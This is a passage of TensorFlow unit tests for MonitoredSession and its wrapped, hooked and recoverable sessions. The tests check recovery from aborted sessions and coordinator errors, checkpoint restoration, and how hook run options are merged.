self._create_session_calls += 1 return self._initial_session class RecoverableSessionTest(test.TestCase): """_RecoverableSession tests.""" class _SessionReturner(object): def __init__(self, sess): self._sess = sess def create_session(self): return self._sess @test_util.run_deprecated_v1 def test_properties(self): with self.cached_session() as sess: constant_op.constant(0.0) recoverable_sess = monitored_session._RecoverableSession( self._SessionReturner(sess)) self.assertEquals(sess.graph, recoverable_sess.graph) self.assertEquals(sess.sess_str, recoverable_sess.sess_str) @test_util.run_deprecated_v1 def test_run(self): with self.cached_session() as sess: c = constant_op.constant(0) v = array_ops.identity(c) recoverable_sess = monitored_session._RecoverableSession( self._SessionReturner(sess)) self.assertEqual(51, recoverable_sess.run(v, feed_dict={c: 51})) @test_util.run_deprecated_v1 def test_recovery(self): with self.cached_session() as sess: class StackSessionCreator(object): def __init__(self, sess): self.sessions_to_use = [ AbortAtNSession(sess, x + 1) for x in range(3) ] def create_session(self): return self.sessions_to_use.pop(0) c = constant_op.constant(0) v = array_ops.identity(c) session_creator = StackSessionCreator(sess) # List of 3 sessions to use for recovery. The first one aborts # after 1 run() call, the second after 2 run calls, the third # after 3 run calls. self.assertEqual(3, len(session_creator.sessions_to_use)) # Make the recoverable session uses these 3 sessions in sequence by # passing a factory that pops from the session_to_use list. recoverable_sess = monitored_session._RecoverableSession(session_creator) self.assertEqual( 2, len(session_creator.sessions_to_use)) # One session popped. # Using first session. self.assertEqual(51, recoverable_sess.run(v, feed_dict={c: 51})) self.assertEqual( 2, len(session_creator.sessions_to_use)) # Still 2 sessions available # This will fail and recover by picking up the second session. self.assertEqual(42, recoverable_sess.run(v, feed_dict={c: 42})) self.assertEqual( 1, len(session_creator.sessions_to_use)) # Still 1 session available self.assertEqual(33, recoverable_sess.run(v, feed_dict={c: 33})) self.assertEqual( 1, len(session_creator.sessions_to_use)) # Still 1 session available # This will fail and recover by picking up the last session. self.assertEqual(24, recoverable_sess.run(v, feed_dict={c: 24})) self.assertEqual( 0, len(session_creator.sessions_to_use)) # All sessions used. self.assertEqual(11, recoverable_sess.run(v, feed_dict={c: 11})) self.assertEqual(0, recoverable_sess.run(v, feed_dict={c: 0})) # This will fail and throw a real error as the pop() will fail. with self.assertRaisesRegexp(IndexError, 'pop from empty list'): recoverable_sess.run(v, feed_dict={c: -12}) @test_util.run_deprecated_v1 def test_recovery_from_coordinator_exception(self): with self.cached_session() as test_session: session_creator = CountingSessionCreator(test_session) session = monitored_session.MonitoredSession( session_creator, [StopCoordinatorWithException(calls_before_stopping=2)]) self.assertEqual(1, session_creator.number_of_sessions_created) self.assertFalse(session.should_stop()) c = constant_op.constant(0) v = array_ops.identity(c) # The coordinator will not abort during this call, since it's the call # number 0. self.assertEqual(51, session.run(v, feed_dict={c: 51})) self.assertFalse(session.should_stop()) # The coordinator will abort during the next call, since it's the call # number 1. self.assertEqual(42, session.run(v, feed_dict={c: 42})) # Even though the coordinator was asked to stop, the underlying session is # recreated and is to be continued. self.assertFalse(session.should_stop()) self.assertEqual(2, session_creator.number_of_sessions_created) @test_util.run_deprecated_v1 def test_recovery_from_non_preemption_in_coordinator(self): with self.cached_session() as test_session: session_creator = CountingSessionCreator(test_session) hook = StopCoordinatorWithException( calls_before_stopping=2, exception_to_raise=errors_impl.UnknownError( None, None, 'Some fatal exception inside the coordinator.')) session = monitored_session.MonitoredSession(session_creator, [hook]) self.assertEqual(1, session_creator.number_of_sessions_created) self.assertFalse(session.should_stop()) c = constant_op.constant(0) v = array_ops.identity(c) # The coordinator will not abort during this call, since it's the call # number 0. self.assertEqual(51, session.run(v, feed_dict={c: 51})) self.assertFalse(session.should_stop()) # The coordinator will abort during the next call, since it's the call # number 1. self.assertEqual(42, session.run(v, feed_dict={c: 42})) # The coordinator was asked to stop due to non-redeemable error. Training # should stop and the session should not be recreated. self.assertTrue(session.should_stop()) self.assertEqual(1, session_creator.number_of_sessions_created) with self.assertRaises(errors_impl.UnknownError): session.close() @test_util.run_deprecated_v1 def test_recovery_from_session_getting_stuck(self): with self.cached_session() as test_session: session_creator = CountingSessionCreator(test_session) session = monitored_session.MonitoredSession( session_creator, [FailTrainingAfterCoordinatorStopped(calls_before_stopping=2)]) self.assertEqual(1, session_creator.number_of_sessions_created) self.assertFalse(session.should_stop()) c = constant_op.constant(0) v = array_ops.identity(c) # Training will not fail, since it's the call number 0. self.assertEqual(51, session.run(v, feed_dict={c: 51})) self.assertFalse(session.should_stop()) # Training will fail during the next call, since it's the call # number 1. self.assertEqual(42, session.run(v, feed_dict={c: 42})) # Even though the coordinator stopped which and training failed, the # underlying session is recreated and training is to be continued. self.assertFalse(session.should_stop()) self.assertEqual(2, session_creator.number_of_sessions_created) @test_util.run_deprecated_v1 def test_step_fn_recovery_from_coordinator_exception_when_run_hooks(self): with self.cached_session() as test_session: session_creator = CountingSessionCreator(test_session) session = monitored_session.MonitoredSession( session_creator, [StopCoordinatorWithException(calls_before_stopping=2)]) self.assertEqual(1, session_creator.number_of_sessions_created) self.assertFalse(session.should_stop()) c = constant_op.constant(0) v = array_ops.identity(c) def feed_step_fn(value): def step_fn(step_context): return step_context.run_with_hooks(fetches=v, feed_dict={c: value}) return step_fn # The coordinator will not abort during this call, since it's the call # number 0. self.assertEqual(51, session.run_step_fn(feed_step_fn(51))) self.assertFalse(session.should_stop()) # The coordinator will abort during the next call, since it's the call # number 1. self.assertEqual(42, session.run_step_fn(feed_step_fn(42))) # Even though the coordinator was asked to stop, the underlying session is # recreated and is to be continued. self.assertFalse(session.should_stop()) self.assertEqual(2, session_creator.number_of_sessions_created) @test_util.run_deprecated_v1 def test_recovery_from_non_preemption_in_coordinator_when_run_hooks(self): with self.cached_session() as test_session: session_creator = CountingSessionCreator(test_session) hook = StopCoordinatorWithException( calls_before_stopping=2, exception_to_raise=errors_impl.UnknownError( None, None, 'Some fatal exception inside the coordinator.')) session = monitored_session.MonitoredSession(session_creator, [hook]) self.assertEqual(1, session_creator.number_of_sessions_created) self.assertFalse(session.should_stop()) c = constant_op.constant(0) v = array_ops.identity(c) def feed_step_fn(value): def step_fn(step_context): return step_context.run_with_hooks(fetches=v, feed_dict={c: value}) return step_fn # The coordinator will not abort during this call, since it's the call # number 0. self.assertEqual(51, session.run_step_fn(feed_step_fn(51))) self.assertFalse(session.should_stop()) # The coordinator will abort during the next call, since it's the call # number 1. self.assertEqual(42, session.run_step_fn(feed_step_fn(42))) # The coordinator was asked to stop due to non-redeemable error. Training # should stop and the session should not be recreated. self.assertTrue(session.should_stop()) self.assertEqual(1, session_creator.number_of_sessions_created) with self.assertRaises(errors_impl.UnknownError): session.close() @test_util.run_deprecated_v1 def test_recovery_from_session_getting_stuck_when_run_hooks(self): with self.cached_session() as test_session: session_creator = CountingSessionCreator(test_session) session = monitored_session.MonitoredSession( session_creator, [FailTrainingAfterCoordinatorStopped(calls_before_stopping=2)]) self.assertEqual(1, session_creator.number_of_sessions_created) self.assertFalse(session.should_stop()) c = constant_op.constant(0) v = array_ops.identity(c) def feed_step_fn(value): def step_fn(step_context): return step_context.run_with_hooks(fetches=v, feed_dict={c: value}) return step_fn # Training will not fail, since it's the call number 0. self.assertEqual(51, session.run_step_fn(feed_step_fn(51))) self.assertFalse(session.should_stop()) # Training will fail during the next call, since it's the call # number 1. self.assertEqual(42, session.run_step_fn(feed_step_fn(42))) # Even though the coordinator stopped which and training failed, the # underlying session is recreated and training is to be continued. self.assertFalse(session.should_stop()) self.assertEqual(2, session_creator.number_of_sessions_created) def create_raw_session_with_failing_coordinator(self, session_creator, hook): """Return MonitoredSession that triggers coordinator failures.""" session = monitored_session.MonitoredSession(session_creator, [hook]) # We would like to test a situation where during fetches through the # raw session, the coordinator fails with an exception. To do that, we # are going to use (raw_session + StopCoordinatorWithException) hook # combination that is stored in # `MonitoredSession._RecoverableSession._CoordinatedSession._sess` # at this point: session._tf_sess = lambda: session._sess._sess._sess # `run()` on such a session is equivalent to `run()` on the raw session # with separate coordinator threads independently stopping with an # exception. return session @test_util.run_deprecated_v1 def test_step_fn_recovery_from_coordinator_exception_with_raw_session(self): with self.cached_session() as test_session: session_creator = CountingSessionCreator(test_session) session = self.create_raw_session_with_failing_coordinator( session_creator, StopCoordinatorWithException(calls_before_stopping=2)) self.assertEqual(1, session_creator.number_of_sessions_created) self.assertFalse(session.should_stop()) c = constant_op.constant(0) v = array_ops.identity(c) def feed_step_fn(value): def step_fn(step_context): return step_context.session.run(fetches=v, feed_dict={c: value}) return step_fn # The coordinator will not abort during this call, since it's the call # number 0. self.assertEqual(51, session.run_step_fn(feed_step_fn(51))) self.assertFalse(session.should_stop()) # The coordinator will abort during the next call, since it's the call # number 1. self.assertEqual(42, session.run_step_fn(feed_step_fn(42))) # Even though the coordinator was asked to stop, the underlying session is # recreated and is to be continued. self.assertFalse(session.should_stop()) self.assertEqual(2, session_creator.number_of_sessions_created) @test_util.run_deprecated_v1 def test_recovery_from_non_preemption_in_coordinator_with_raw_session(self): with self.cached_session() as test_session: session_creator = CountingSessionCreator(test_session) session = self.create_raw_session_with_failing_coordinator( session_creator, StopCoordinatorWithException( calls_before_stopping=2, exception_to_raise=errors_impl.UnknownError( None, None, 'Some fatal exception inside the coordinator.'))) self.assertEqual(1, session_creator.number_of_sessions_created) self.assertFalse(session.should_stop()) c = constant_op.constant(0) v = array_ops.identity(c) def feed_step_fn(value): def step_fn(step_context): return step_context.run_with_hooks(fetches=v, feed_dict={c: value}) return step_fn # The coordinator will not abort during this call, since it's the call # number 0. self.assertEqual(51, session.run_step_fn(feed_step_fn(51))) self.assertFalse(session.should_stop()) # The coordinator will abort during the next call, since it's the call # number 1. self.assertEqual(42, session.run_step_fn(feed_step_fn(42))) # The coordinator was asked to stop due to non-redeemable error. Training # should stop and the session should not be recreated. self.assertTrue(session.should_stop()) self.assertEqual(1, session_creator.number_of_sessions_created) with self.assertRaises(errors_impl.UnknownError): session.close() @test_util.run_deprecated_v1 def test_recovery_from_session_getting_stuck_with_raw_session(self): with self.cached_session() as test_session: session_creator = CountingSessionCreator(test_session) session = self.create_raw_session_with_failing_coordinator( session_creator, FailTrainingAfterCoordinatorStopped(calls_before_stopping=2)) self.assertEqual(1, session_creator.number_of_sessions_created) self.assertFalse(session.should_stop()) c = constant_op.constant(0) v = array_ops.identity(c) def feed_step_fn(value): def step_fn(step_context): return step_context.run_with_hooks(fetches=v, feed_dict={c: value}) return step_fn # Training will not fail, since it's the call number 0. self.assertEqual(51, session.run_step_fn(feed_step_fn(51))) self.assertFalse(session.should_stop()) # Training will fail during the next call, since it's the call # number 1. self.assertEqual(42, session.run_step_fn(feed_step_fn(42))) # Even though the coordinator stopped which and training failed, the # underlying session is recreated and training is to be continued. self.assertFalse(session.should_stop()) self.assertEqual(2, session_creator.number_of_sessions_created) class FakeSession(monitored_session._WrappedSession): def __init__(self, sess): monitored_session._WrappedSession.__init__(self, sess) self.args_called = {} def run(self, fetches, **kwargs): self.args_called = dict(kwargs) # Call run only with fetches since we directly pass other arguments. return monitored_session._WrappedSession.run(self, fetches) class HookedSessionTest(test.TestCase): """Tests of _HookedSession.""" def testRunPassesAllArguments(self): with ops.Graph().as_default(), session_lib.Session() as sess: mock_run = FakeSession(sess) mon_sess = monitored_session._HookedSession(sess=mock_run, hooks=[]) a_tensor = constant_op.constant([0], name='a_tensor') self.evaluate(variables.global_variables_initializer()) output = mon_sess.run(fetches=a_tensor, feed_dict='a_feed', options='an_option', run_metadata='a_metadata') self.assertEqual(output, [0]) self.assertEqual(mock_run.args_called, { 'feed_dict': 'a_feed', 'options': 'an_option', 'run_metadata': 'a_metadata' }) def testCallsHooksBeginEnd(self): with ops.Graph().as_default(), session_lib.Session() as sess: mock_hook = FakeHook() mock_hook2 = FakeHook() mon_sess = monitored_session._HookedSession( sess=sess, hooks=[mock_hook, mock_hook2]) a_tensor = constant_op.constant([0], name='a_tensor') self.evaluate(variables.global_variables_initializer()) mon_sess.run(a_tensor) for hook in [mock_hook, mock_hook2]: self.assertEqual( hook.last_run_values, session_run_hook.SessionRunValues( results=None, options=config_pb2.RunOptions(), run_metadata=config_pb2.RunMetadata())) self.assertEqual(hook.last_run_context.original_args, session_run_hook.SessionRunArgs(a_tensor)) self.assertEqual(hook.last_run_context.session, sess) self.assertEqual(hook.call_counter['begin'], 0) self.assertEqual(hook.call_counter['after_create_session'], 0) self.assertEqual(hook.call_counter['before_run'], 1) self.assertEqual(hook.call_counter['after_run'], 1) def testShouldStop(self): with ops.Graph().as_default(), session_lib.Session() as sess: mock_hook = FakeHook() mock_hook2 = FakeHook() mon_sess = monitored_session._HookedSession( sess=sess, hooks=[mock_hook, mock_hook2]) constant_op.constant([0], name='a_tensor') self.evaluate(variables.global_variables_initializer()) mon_sess.run(fetches='a_tensor') self.assertFalse(mon_sess.should_stop()) mock_hook.should_stop = True mon_sess.run(fetches='a_tensor') self.assertTrue(mon_sess.should_stop()) def testFetchesHookRequests(self): with ops.Graph().as_default(), session_lib.Session() as sess: mock_hook = FakeHook() mock_hook2 = FakeHook() mon_sess = monitored_session._HookedSession( sess=sess, hooks=[mock_hook, mock_hook2]) a_tensor = constant_op.constant([0], name='a_tensor') another_tensor = constant_op.constant([5], name='another_tensor') third_tensor = constant_op.constant([10], name='third_tensor') mock_hook.request = session_run_hook.SessionRunArgs([another_tensor]) mock_hook2.request = session_run_hook.SessionRunArgs([third_tensor]) self.evaluate(variables.global_variables_initializer()) output = mon_sess.run(fetches=a_tensor) self.assertEqual(output, [0]) self.assertEqual(mock_hook.last_run_values.results, [5]) self.assertEqual(mock_hook2.last_run_values.results, [10]) def testOnlyHooksHaveFeeds(self): with ops.Graph().as_default(), session_lib.Session() as sess: mock_hook = FakeHook() mock_hook2 = FakeHook() mon_sess = monitored_session._HookedSession( sess=sess, hooks=[mock_hook, mock_hook2]) a_tensor = constant_op.constant([0], name='a_tensor') b_tensor = constant_op.constant([0], name='b_tensor') add_tensor = a_tensor + b_tensor mock_hook.request = session_run_hook.SessionRunArgs( None, feed_dict={a_tensor: [5]}) mock_hook2.request = session_run_hook.SessionRunArgs( None, feed_dict={b_tensor: [10]}) self.evaluate(variables.global_variables_initializer()) self.assertEqual(mon_sess.run(fetches=add_tensor), [15]) def testBothHooksAndUserHaveFeeds(self): with ops.Graph().as_default(), session_lib.Session() as sess: mock_hook = FakeHook() mock_hook2 = FakeHook() mon_sess = monitored_session._HookedSession( sess=sess, hooks=[mock_hook, mock_hook2]) a_tensor = constant_op.constant([0], name='a_tensor') b_tensor = constant_op.constant([0], name='b_tensor') c_tensor = constant_op.constant([0], name='c_tensor') add_tensor = a_tensor + b_tensor + c_tensor mock_hook.request = session_run_hook.SessionRunArgs( None, feed_dict={a_tensor: [5]}) mock_hook2.request = session_run_hook.SessionRunArgs( None, feed_dict={b_tensor: [10]}) self.evaluate(variables.global_variables_initializer()) feed_dict = {c_tensor: [20]} self.assertEqual( mon_sess.run(fetches=add_tensor, feed_dict=feed_dict), [35]) # User feed_dict should not be changed self.assertEqual(len(feed_dict), 1) def testHooksFeedConflicts(self): with ops.Graph().as_default(), session_lib.Session() as sess: mock_hook = FakeHook() mock_hook2 = FakeHook() mon_sess = monitored_session._HookedSession( sess=sess, hooks=[mock_hook, mock_hook2]) a_tensor = constant_op.constant([0], name='a_tensor') b_tensor = constant_op.constant([0], name='b_tensor') add_tensor = a_tensor + b_tensor mock_hook.request = session_run_hook.SessionRunArgs( None, feed_dict={a_tensor: [5]}) mock_hook2.request = session_run_hook.SessionRunArgs( None, feed_dict={a_tensor: [10]}) self.evaluate(variables.global_variables_initializer()) with self.assertRaisesRegexp(RuntimeError, 'Same tensor is fed'): mon_sess.run(fetches=add_tensor) def testHooksAndUserFeedConflicts(self): with ops.Graph().as_default(), session_lib.Session() as sess: mock_hook = FakeHook() mock_hook2 = FakeHook() mon_sess = monitored_session._HookedSession( sess=sess, hooks=[mock_hook, mock_hook2]) a_tensor = constant_op.constant([0], name='a_tensor') b_tensor = constant_op.constant([0], name='b_tensor') add_tensor = a_tensor + b_tensor mock_hook.request = session_run_hook.SessionRunArgs( None, feed_dict={a_tensor: [5]}) mock_hook2.request = session_run_hook.SessionRunArgs( None, feed_dict={b_tensor: [10]}) self.evaluate(variables.global_variables_initializer()) with self.assertRaisesRegexp(RuntimeError, 'Same tensor is fed'): mon_sess.run(fetches=add_tensor, feed_dict={b_tensor: [10]}) class RaiseOnceAtCountN(session_run_hook.SessionRunHook): """Hook that raises an Exception at step N.""" def __init__(self, n, ex): self.n = n self.ex = ex self.raised = False def before_run(self, run_context): # Raise the first time we reach step N. self.n -= 1 if 0 == self.n and not self.raised: self.raised = True raise self.ex return None class RunOptionsMetadataHook(session_run_hook.SessionRunHook): """A hook that observes & optionally modifies RunOptions and RunMetadata.""" def __init__(self, trace_level, timeout_in_ms, output_partition_graphs, debug_tensor_watch, report_tensor_allocations_upon_oom): self._trace_level = trace_level self._timeout_in_ms = timeout_in_ms self._output_partition_graphs = output_partition_graphs self._debug_tensor_watch = debug_tensor_watch self._report_tensor_allocations_upon_oom = ( report_tensor_allocations_upon_oom) self.run_options_list = [] self.run_metadata_list = [] def before_run(self, run_context): options = config_pb2.RunOptions( trace_level=self._trace_level, timeout_in_ms=self._timeout_in_ms, output_partition_graphs=self._output_partition_graphs, report_tensor_allocations_upon_oom=self ._report_tensor_allocations_upon_oom) options.debug_options.debug_tensor_watch_opts.extend( [self._debug_tensor_watch]) return session_run_hook.SessionRunArgs(None, None, options=options) def after_run(self, run_context, run_values): self.run_options_list.append(run_values.options) self.run_metadata_list.append(run_values.run_metadata) class MonitoredSessionTest(test.TestCase): """MonitoredSession tests.""" def test_defaults(self): with ops.Graph().as_default(): a_var = variables.VariableV1(0) with monitored_session.MonitoredSession() as session: self.assertEqual(0, session.run(a_var)) def test_last_step(self): logdir = _test_dir(self.get_temp_dir(), 'test_last_step') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) # Run till step 3 and save. hooks = [basic_session_run_hooks.StopAtStepHook(last_step=3)] with monitored_session.MonitoredSession(hooks=hooks) as session: self.assertEqual(0, session.run(gstep)) self.assertFalse(session.should_stop()) self.assertEqual(1, session.run(do_step)) self.assertFalse(session.should_stop()) self.assertEqual(2, session.run(do_step)) self.assertFalse(session.should_stop()) self.assertEqual(3, session.run(do_step)) self.assertTrue(session.should_stop()) save_path = saver_lib._get_saver_or_default().save( session._coordinated_creator.tf_sess, os.path.join(logdir, 'step-3')) # Run till step 5 and save. def load_ckpt(scaffold, sess): scaffold.saver.restore(sess, save_path) session_creator = monitored_session.ChiefSessionCreator( monitored_session.Scaffold(init_fn=load_ckpt)) hooks = [basic_session_run_hooks.StopAtStepHook(last_step=5)] with monitored_session.MonitoredSession( hooks=hooks, session_creator=session_creator) as session: self.assertEqual(3, session.run(gstep)) self.assertFalse(session.should_stop()) self.assertEqual(4, session.run(do_step)) self.assertFalse(session.should_stop()) self.assertEqual(5, session.run(do_step)) self.assertTrue(session.should_stop()) def test_num_steps(self): logdir = _test_dir(self.get_temp_dir(), 'test_num_steps') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) # Do 3 steps and save. hooks = [basic_session_run_hooks.StopAtStepHook(num_steps=3)] with monitored_session.MonitoredSession(hooks=hooks) as session: session.run(do_step) self.assertFalse(session.should_stop()) session.run(do_step) self.assertFalse(session.should_stop()) session.run(do_step) self.assertTrue(session.should_stop()) save_path = saver_lib._get_saver_or_default().save( session._coordinated_creator.tf_sess, os.path.join(logdir, 'step-3')) # Restore and do 4 steps. def load_ckpt(scaffold, sess): scaffold.saver.restore(sess, save_path) session_creator = monitored_session.ChiefSessionCreator( scaffold=monitored_session.Scaffold(init_fn=load_ckpt)) hooks = [basic_session_run_hooks.StopAtStepHook(num_steps=4)] with monitored_session.MonitoredSession( hooks=hooks, session_creator=session_creator) as session: self.assertEqual(4, session.run(do_step)) self.assertFalse(session.should_stop()) session.run(do_step) self.assertFalse(session.should_stop()) session.run(do_step) self.assertFalse(session.should_stop()) session.run(do_step) self.assertTrue(session.should_stop()) # This set of tests, verifies the supervised session behavior when exceptions # are raised next to the innermost session run() call. @test_util.run_deprecated_v1 def test_recovery(self): logdir = _test_dir(self.get_temp_dir(), 'test_recovery') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) scaffold = monitored_session.Scaffold() # Use a hook to save the model every 100 steps. It also saves it at # the end. hooks = [ basic_session_run_hooks.CheckpointSaverHook( logdir, save_steps=1, scaffold=scaffold) ] with monitored_session.MonitoredSession( session_creator=monitored_session.ChiefSessionCreator( scaffold, checkpoint_dir=logdir), hooks=hooks) as session: self.assertEqual(0, session.run(gstep)) self.assertEqual(1, session.run(do_step)) self.assertEqual(2, session.run(do_step)) # A restart will find the checkpoint and recover automatically. with monitored_session.MonitoredSession( session_creator=monitored_session.ChiefSessionCreator( scaffold, checkpoint_dir=logdir)) as session: self.assertEqual(2, session.run(gstep)) # A restart will find the checkpoint and recover automatically. with monitored_session.MonitoredSession( session_creator=monitored_session.ChiefSessionCreator( scaffold, checkpoint_filename_with_path=checkpoint_management. latest_checkpoint(logdir))) as session: self.assertEqual(2, session.run(gstep)) def test_retry_initialization_on_aborted_error(self): # Tests that we silently retry on abort during initialization. with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() self.init_raised_aborted_error = False def _init_fn(scaffold, session): _, _ = scaffold, session if not self.init_raised_aborted_error: self.init_raised_aborted_error = True raise errors_impl.AbortedError(None, None, 'Abort') with monitored_session.MonitoredSession( session_creator=monitored_session.ChiefSessionCreator( scaffold=monitored_session.Scaffold( init_fn=_init_fn))) as session: self.assertFalse(session.should_stop()) self.assertEqual(0, session.run(gstep)) self.assertTrue(self.init_raised_aborted_error) def _retry_test(self, ex): # Tests that we silently retry on error. Note that this does not test # recovery as we do not use a CheckpointSaver in this test. with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) hook = RaiseOnceAtCountN(4, ex) with monitored_session.MonitoredSession(hooks=[hook]) as session: self.assertEqual(0, session.run(gstep)) self.assertEqual(1, session.run(do_step)) self.assertEqual(2, session.run(do_step)) self.assertFalse(session.should_stop()) # Here at step 3, the hook triggers and raises AbortedError. The # MonitoredSession automatically retries and restart from a freshly # initialized session, so the step is back to 0 and running do_step # moves it to 1. self.assertEqual(1, session.run(do_step)) self.assertFalse(session.should_stop()) self.assertTrue(hook.raised) self.assertEqual(2, session.run(do_step)) self.assertFalse(session.should_stop()) def test_retry_on_aborted_error(self): self._retry_test(errors_impl.AbortedError(None, None, 'Abort')) def test_retry_on_unavailable_error(self): self._retry_test(errors_impl.UnavailableError(None, None, 'Unavailable')) def test_recover_and_retry_on_aborted_error(self): # Tests that we silently retry and recover on abort. This test uses # a CheckpointSaver to have something to recover from. logdir = _test_dir(self.get_temp_dir(), 'test_recover_and_retry_on_aborted_error') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) scaffold = monitored_session.Scaffold() abort_hook = RaiseOnceAtCountN( 4, errors_impl.AbortedError(None, None, 'Abort')) # Save after each step. ckpt_hook = basic_session_run_hooks.CheckpointSaverHook( logdir, save_steps=1, scaffold=scaffold) hooks = [abort_hook, ckpt_hook] with monitored_session.MonitoredSession( session_creator=monitored_session.ChiefSessionCreator( scaffold, checkpoint_dir=logdir), hooks=hooks) as session: self.assertEqual(0, session.run(gstep)) self.assertEqual(1, session.run(do_step)) self.assertEqual(2, session.run(do_step)) self.assertFalse(session.should_stop()) # Here at step 3, the hook triggers and raises AbortedError. The # MonitoredSession automatically restores and retries. self.assertEqual(3, session.run(do_step)) self.assertTrue(abort_hook.raised) self.assertFalse(session.should_stop()) self.assertEqual(4, session.run(do_step)) self.assertFalse(session.should_stop()) def test_exit_cleanly_on_out_of_range_exception(self): # Tests that we stop cleanly when OutOfRange is raised. with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) hook = RaiseOnceAtCountN(2, errors_impl.OutOfRangeError(None, None, 'EOI')) session = monitored_session.MonitoredSession(hooks=[hook]) # session should cleanly exit from the context. with session: self.assertEqual(0, session.run(gstep)) self.assertFalse(session.should_stop()) # Here at step 1, the hook triggers and raises OutOfRange. The # session should go into should_stop() mode. It should raise the # exception. So next step should not be executed. session.run(do_step) self.assertTrue(False) self.assertTrue(session.should_stop()) def test_exit_cleanly_on_stop_iteration_exception(self): # Tests that we stop cleanly when OutOfRange is raised. with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) hook = RaiseOnceAtCountN(2, StopIteration) session = monitored_session.MonitoredSession(hooks=[hook]) # session should cleanly exit from the context. with session: self.assertEqual(0, session.run(gstep)) self.assertFalse(session.should_stop()) # Here at step 1, the hook triggers and raises StopIteration. The # session should go into should_stop() mode. It should raise the # exception. So next step should not be executed. session.run(do_step) self.assertTrue(False) self.assertTrue(session.should_stop()) def test_regular_exception_pass_through_run(self): # Tests that regular exceptions just pass through a "with # MonitoredSession" block and set the session in stop mode. with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) hook = RaiseOnceAtCountN(4, RuntimeError('regular exception')) session = monitored_session.MonitoredSession(hooks=[hook]) with self.assertRaisesRegexp(RuntimeError, 'regular exception'): with session: self.assertEqual(0, session.run(gstep)) self.assertEqual(1, session.run(do_step)) self.assertEqual(2, session.run(do_step)) self.assertFalse(session.should_stop()) # This triggers the hook and raises the exception session.run(do_step) # We should not hit this self.assertFalse(True) self.assertTrue(hook.raised) self.assertTrue(session.should_stop()) def test_regular_exception_reported_to_coord_pass_through_run(self): # Tests that regular exceptions reported to the coordinator from a thread # passes through a "run()" call within a "with MonitoredSession" block and # set the session in stop mode. with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() session = monitored_session.MonitoredSession() run_performed_without_error = False with self.assertRaisesRegexp(RuntimeError, 'a thread wants to stop'): with session: self.assertEqual(0, session.run(gstep)) # Report an exception through the coordinator. try: raise RuntimeError('a thread wants to stop') except RuntimeError as e: session._coordinated_creator.coord.request_stop(e) # Call run() which should perform normally. self.assertEqual(0, session.run(gstep)) run_performed_without_error = True self.assertTrue(run_performed_without_error) def test_regular_exception_reported_to_coord_pass_through_return(self): # Tests that regular exceptions reported to the coordinator from a thread # passes through returning from a "with MonitoredSession" block and # set the session in stop mode. with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() session = monitored_session.MonitoredSession() with self.assertRaisesRegexp(RuntimeError, 'a thread wants to stop'): with session: self.assertEqual(0, session.run(gstep)) # Report an exception through the coordinator. try: raise RuntimeError('a thread wants to stop') except RuntimeError as e: session._coordinated_creator.coord.request_stop(e) self.assertTrue(session.should_stop()) # This set of tests, verifies the session behavior when exceptions are raised # from code inside a "with MonitoredSession:" context. def test_stop_cleanly_when_no_exception_in_with_body(self): # Tests that regular exceptions pass through with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) session = monitored_session.MonitoredSession() with session: self.assertEqual(1, session.run(do_step)) self.assertEqual(2, session.run(do_step)) self.assertFalse(session.should_stop()) # Should have closed. self.assertTrue(session.should_stop()) self.assertTrue(session._is_closed()) def test_raises_regular_exceptions_in_with_body(self): # Tests that regular exceptions in "with body" are seen outside. with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) session = monitored_session.MonitoredSession() # We should see that exception. with self.assertRaisesRegexp(RuntimeError, 'regular exception'): with session: self.assertEqual(1, session.run(do_step)) self.assertEqual(2, session.run(do_step)) self.assertFalse(session.should_stop()) # Will be visible outside the "with body". raise RuntimeError('regular exception') # Should have closed. self.assertTrue(session.should_stop()) self.assertTrue(session._is_closed()) def test_graph(self): with ops.Graph().as_default() as g: with monitored_session.MonitoredSession() as session: self.assertEqual(g, session.graph) def test_graph_finalized_during_run_unfinalized_after_exit(self): with ops.Graph().as_default() as g: a_var = variables.VariableV1(0) with monitored_session.MonitoredSession() as session: self.assertEqual(0, session.run(a_var)) self.assertTrue(g.finalized) self.assertFalse(g.finalized) def test_keep_finalized_graph_as_finalized(self): with ops.Graph().as_default() as g: a_var = variables.VariableV1(0) monitored_session.Scaffold().finalize() with monitored_session.MonitoredSession() as session: self.assertEqual(0, session.run(a_var)) self.assertTrue(g.finalized) self.assertTrue(g.finalized) def test_merge_run_options_from_hooks(self): """Test for rewriting RunOptions and observing RunMetadata with hooks.""" with ops.Graph().as_default(): my_const = constant_op.constant(42, name='my_const') _ = constant_op.constant(24, name='my_const_2') watch_a = debug_pb2.DebugTensorWatch( node_name='my_const', output_slot=0, debug_ops=['DebugIdentity'], debug_urls=[]) hook_a = RunOptionsMetadataHook(2, 30000, False, watch_a, False) watch_b = debug_pb2.DebugTensorWatch( node_name='my_const_2', output_slot=0, debug_ops=['DebugIdentity'], debug_urls=[]) hook_b = RunOptionsMetadataHook(3, 60000, True, watch_b, True) with monitored_session.MonitoredSession( hooks=[hook_a, hook_b]) as session: self.assertEqual(42, session.run(my_const)) # trace_level=3 should have overridden trace_level=2; # timeout_in_ms=60000 should have overridden 30000; # output_partition_graphs=True should have overridden False. # The two debug tensor watches should have been merged. self.assertEqual([ config_pb2.RunOptions( trace_level=3, timeout_in_ms=60000, output_partition_graphs=True, debug_options=debug_pb2.DebugOptions( debug_tensor_watch_opts=[watch_a, watch_b]), report_tensor_allocations_upon_oom=True), ], hook_b.run_options_list) self.assertEqual(1, len(hook_b.run_metadata_list)) self.assertTrue( 